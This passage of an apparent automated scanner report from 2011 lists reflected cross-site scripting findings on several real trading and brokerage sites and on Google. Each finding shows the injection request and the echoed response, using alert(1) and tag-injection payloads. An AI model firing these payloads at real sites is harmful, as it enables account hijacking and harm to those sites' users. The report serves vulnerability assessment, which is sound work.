Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="javascript" type="text/javascript" src="js/DetectEnv.js"></sc
...[SNIP]...
<input type="text" id="txtUsername" name="txtUsername" value="ea4ef"><script>alert(1)</script>38aecde0899" style="left: 100px; position: absolute; top: 100px; width: 150px; background-color: #eaeaea;" onfocus="if (this.value == 'Enter Username') { this.value=''; }" />
...[SNIP]...

2.11. https://www.barchart.com/register/realtime/css/_basicFormCSS.php [errorIds parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.barchart.com
Path:	/register/realtime/css/_basicFormCSS.php

Issue detail

The value of the errorIds request parameter is copied into the HTML document as plain text between tags. The payload 98ee8<script>alert(1)</script>5edcc6f41ce was submitted in the errorIds parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /register/realtime/css/_basicFormCSS.php?errorIds=98ee8<script>alert(1)</script>5edcc6f41ce HTTP/1.1
Host: www.barchart.com
Connection: keep-alive
Referer: https://www.barchart.com/register/realtime/?ID=EF
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:40:59 GMT
Server: Apache/2.2.9 (Fedora) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2409
Content-Type: text/css
Content-Language: en
Via: 1.1 www.barchart.com (Apache/2.2.9)
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive

form.realtime h1, form.realtime h2, form.realtime h3, form.realtime p, form.realtime li {
font-family: "Arial", sans-serif;
}
form.realtime h1, form.realtime h2, form.realtime h3 {
margin: 1.5em 0 .
...[SNIP]...
ow fieldset { padding: .25em; }
.infoVendorSubcriber { margin-left: 2em; }
.required { color: red; }
#errorMessages { padding: 1em; }
#errorMessages p { font-weight: bold; margin: 0; }

#errorMessages,98ee8<script>alert(1)</script>5edcc6f41ce { background-color: #FCC; }

2.12. http://www.efutures.com/faq.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.efutures.com
Path:	/faq.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5665b"><script>alert(1)</script>81084ae80e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /faq.php/5665b"><script>alert(1)</script>81084ae80e2 HTTP/1.1
Host: www.efutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/4.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<a class="active" href="/5665b"><script>alert(1)</script>81084ae80e2?category=1">
...[SNIP]...

2.13. http://www.efutures.com/traders/news.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.efutures.com
Path:	/traders/news.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42018"><script>alert(1)</script>2e60a284e12 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /traders/news.php/42018"><script>alert(1)</script>2e60a284e12 HTTP/1.1
Host: www.efutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:47:00 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/4.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<a href="/42018"><script>alert(1)</script>2e60a284e12?news_id=2417">
...[SNIP]...

2.14. http://www.futurestrading.com/managed-accounts/what-are-managed-futures.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.futurestrading.com
Path:	/managed-accounts/what-are-managed-futures.html

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f91b8<script>alert(1)</script>8c91014d9af was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /managed-accountsf91b8<script>alert(1)</script>8c91014d9af/what-are-managed-futures.html HTTP/1.1
Host: www.futurestrading.com
Proxy-Connection: keep-alive
Referer: http://www.futurestrading.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: af954db55ff4d54a88e086fc2a1751f0=f7f0571d6de3a89fad76557c5546f2e6; __utma=221442575.134975660.1315527952.1315527952.1315527952.1; __utmc=221442575; __utmz=221442575.1315527952.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=futures%20trading

Response

HTTP/1.1 404 Component not found (http://www.futurestrading.com/managed-accountsf91b8<script>alert(1)</script>8c91014d9af/what-are-managed-futures.html)
Date: Thu, 08 Sep 2011 20:01:44 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Thu, 08 Sep 2011 20:01:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1629

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir="
...[SNIP]...
<div id="errorboxheader">404 - Component not found (http://www.futurestrading.com/managed-accountsf91b8<script>alert(1)</script>8c91014d9af/what-are-managed-futures.html)</div>
...[SNIP]...

2.15. http://www.globalfutures.com/index.asp [refid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/index.asp

Issue detail

The value of the refid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee6af"><script>alert(1)</script>ef3961711f was submitted in the refid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.asp?refid=googleaefee6af"><script>alert(1)</script>ef3961711f HTTP/1.1
Host: www.globalfutures.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 35093
Content-Type: text/html
Server: Microsoft-IIS/7.0
Set-Cookie: returningRefID=googleaefee6af%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Eef3961711f; expires=Wed, 04-Jun-2014 07:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:25:44 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta cont
...[SNIP]...
<input type="hidden" name="reftag" value="googleaefee6af"><script>alert(1)</script>ef3961711f" />
...[SNIP]...

2.16. http://www.google.com/advanced_search [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.google.com
Path:	/advanced_search

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a4fc1(a)66a27447bcc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /advanced_search?a4fc1(a)66a27447bcc=1 HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:30 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block
Connection: close

<!doctype html><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google Advanced Search</title><style id=gstyle>html{overflow-y:scroll}div,td,.n a,.n a:visited{colo
...[SNIP]...
",d,k)};})();
;}catch(e){google.ml(e,false,{'cause':'defer'});}if(google.med){google.med('init');google.initHistory();google.med('history');}google.History&&google.History.initialize('/advanced_search?a4fc1(a)66a27447bcc\x3d1')});if(google.j&&google.j.en&&google.j.xi){window.setTimeout(google.j.xi,0);}</script>
...[SNIP]...

2.17. http://www.interactivebrokers.com/mobile/index.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mobile/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 881ed"><a%20b%3dc>bec079a6a29 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 881ed"><a b=c>bec079a6a29 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /mobile/index.php/881ed"><a%20b%3dc>bec079a6a29 HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:02 GMT
Server: Apache
Content-Length: 28145
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<form id="app-email-form" action="/mobile/index.php/881ed"><a b=c>bec079a6a29" method="POST">
...[SNIP]...

2.18. http://www.interactivebrokers.com/mobile/index.php/images/btn_continuetowebsite.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mobile/index.php/images/btn_continuetowebsite.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b373"><a%20b%3dc>5dc4835aa60 was submitted in the REST URL parameter 3. This input was echoed as 5b373"><a b=c>5dc4835aa60 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /mobile/index.php/images5b373"><a%20b%3dc>5dc4835aa60/btn_continuetowebsite.png HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/mobile/index.php/881ed%22%3E%3Ca%20b%3dc%3Ebec079a6a29
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:23 GMT
Server: Apache
Content-Length: 28177
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<form id="app-email-form" action="/mobile/index.php/images5b373"><a b=c>5dc4835aa60/btn_continuetowebsite.png" method="POST">
...[SNIP]...

2.19. http://www.interactivebrokers.com/mobile/index.php/images/btn_continuetowebsite.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mobile/index.php/images/btn_continuetowebsite.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0dac"><a%20b%3dc>49956ecfea3 was submitted in the REST URL parameter 4. This input was echoed as d0dac"><a b=c>49956ecfea3 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /mobile/index.php/images/btn_continuetowebsite.pngd0dac"><a%20b%3dc>49956ecfea3 HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/mobile/index.php/881ed%22%3E%3Ca%20b%3dc%3Ebec079a6a29
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:30 GMT
Server: Apache
Content-Length: 28177
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<form id="app-email-form" action="/mobile/index.php/images/btn_continuetowebsite.pngd0dac"><a b=c>49956ecfea3" method="POST">
...[SNIP]...

2.20. http://www.interactivebrokers.com/mobile/index.php/images/btn_submit.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mobile/index.php/images/btn_submit.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e550c"><a%20b%3dc>76544989d21 was submitted in the REST URL parameter 3. This input was echoed as e550c"><a b=c>76544989d21 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /mobile/index.php/imagese550c"><a%20b%3dc>76544989d21/btn_submit.png HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/mobile/index.php/881ed%22%3E%3Ca%20b%3dc%3Ebec079a6a29
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:23 GMT
Server: Apache
Content-Length: 28166
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<form id="app-email-form" action="/mobile/index.php/imagese550c"><a b=c>76544989d21/btn_submit.png" method="POST">
...[SNIP]...

2.21. http://www.interactivebrokers.com/mobile/index.php/images/btn_submit.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mobile/index.php/images/btn_submit.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3df40"><a%20b%3dc>45310a5bfce was submitted in the REST URL parameter 4. This input was echoed as 3df40"><a b=c>45310a5bfce in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /mobile/index.php/images/btn_submit.png3df40"><a%20b%3dc>45310a5bfce HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/mobile/index.php/881ed%22%3E%3Ca%20b%3dc%3Ebec079a6a29
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:30 GMT
Server: Apache
Content-Length: 28166
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<form id="app-email-form" action="/mobile/index.php/images/btn_submit.png3df40"><a b=c>45310a5bfce" method="POST">
...[SNIP]...

2.22. http://www.interactivebrokers.com/mobile/index.php/images/request_app_iblogo.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mobile/index.php/images/request_app_iblogo.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84869"><a%20b%3dc>8dd8570e10 was submitted in the REST URL parameter 3. This input was echoed as 84869"><a b=c>8dd8570e10 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /mobile/index.php/images84869"><a%20b%3dc>8dd8570e10/request_app_iblogo.png HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/mobile/index.php/881ed%22%3E%3Ca%20b%3dc%3Ebec079a6a29
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:23 GMT
Server: Apache
Content-Length: 28173
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<form id="app-email-form" action="/mobile/index.php/images84869"><a b=c>8dd8570e10/request_app_iblogo.png" method="POST">
...[SNIP]...

2.23. http://www.interactivebrokers.com/mobile/index.php/images/request_app_iblogo.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mobile/index.php/images/request_app_iblogo.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26054"><a%20b%3dc>b5857bc8409 was submitted in the REST URL parameter 4. This input was echoed as 26054"><a b=c>b5857bc8409 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /mobile/index.php/images/request_app_iblogo.png26054"><a%20b%3dc>b5857bc8409 HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/mobile/index.php/881ed%22%3E%3Ca%20b%3dc%3Ebec079a6a29
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:30 GMT
Server: Apache
Content-Length: 28174
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<form id="app-email-form" action="/mobile/index.php/images/request_app_iblogo.png26054"><a b=c>b5857bc8409" method="POST">
...[SNIP]...

2.24. http://www.interactivebrokers.com/mobile/index.php/m.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.interactivebrokers.com
Path:	/mobile/index.php/m.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e953b"><a%20b%3dc>24c8fdce66a was submitted in the REST URL parameter 3. This input was echoed as e953b"><a b=c>24c8fdce66a in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /mobile/index.php/m.csse953b"><a%20b%3dc>24c8fdce66a HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/mobile/index.php/881ed%22%3E%3Ca%20b%3dc%3Ebec079a6a29
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:21 GMT
Server: Apache
Content-Length: 28150
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<form id="app-email-form" action="/mobile/index.php/m.csse953b"><a b=c>24c8fdce66a" method="POST">
...[SNIP]...

2.25. https://www.interactivebrokers.com/sso/Login [forwardTo parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/sso/Login

Issue detail

The value of the forwardTo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4554"><a%20b%3dc>858eb6fd52c was submitted in the forwardTo parameter. This input was echoed as d4554"><a b=c>858eb6fd52c in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /sso/Login?forwardTo=1d4554"><a%20b%3dc>858eb6fd52c HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:15 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: XYZAB_AM.LOGIN=; Domain=.interactivebrokers.com; Path=/; Secure
Set-Cookie: XYZAB=; Domain=.interactivebrokers.com; Path=/; Secure
Set-Cookie: URL_PARAM=forwardTo=1d4554a20b3dc858eb6fd52c; Domain=.interactivebrokers.com; Path=/; Secure
Set-Cookie: JSESSIONID=08546737D95F44C0653B32581EDE3A9E.wwwsso3; Path=/sso; Secure
Content-Length: 13290
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"/>
<link hre
...[SNIP]...
<input type="hidden" name="action" value="1d4554"><a b=c>858eb6fd52c">
...[SNIP]...

2.26. http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi [page parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/cgi-bin/commoditybooks-bin/category.cgi

Issue detail

The value of the page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3488b"><script>alert(1)</script>8d048951567 was submitted in the page parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys3488b"><script>alert(1)</script>8d048951567 HTTP/1.1
Host: www.invest-store.com
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/home.cgi?division=books
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UserID=50.23.123.106-20252902820223; FBSBSeen=1; SaneID=50.23.123.106-20252902820223

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:00:37 GMT
Server: Microsoft-IIS/6.0
Expires: Thu, 08 Sep 2011 20:30:37 GMT
Date: Thu, 08 Sep 2011 20:00:37 GMT
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<TITLE>Commodity Books online store</TITLE>
<SCRIPT LANGUAGE="JavaScript">
<!-- hide from old browsers
function S
...[SNIP]...
<input type="hidden" name="page" value="bargainbuys3488b"><script>alert(1)</script>8d048951567">
...[SNIP]...

2.27. http://www.invest-store.com/cgi-bin/commoditybooks-bin/home.cgi [division parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/cgi-bin/commoditybooks-bin/home.cgi

Issue detail

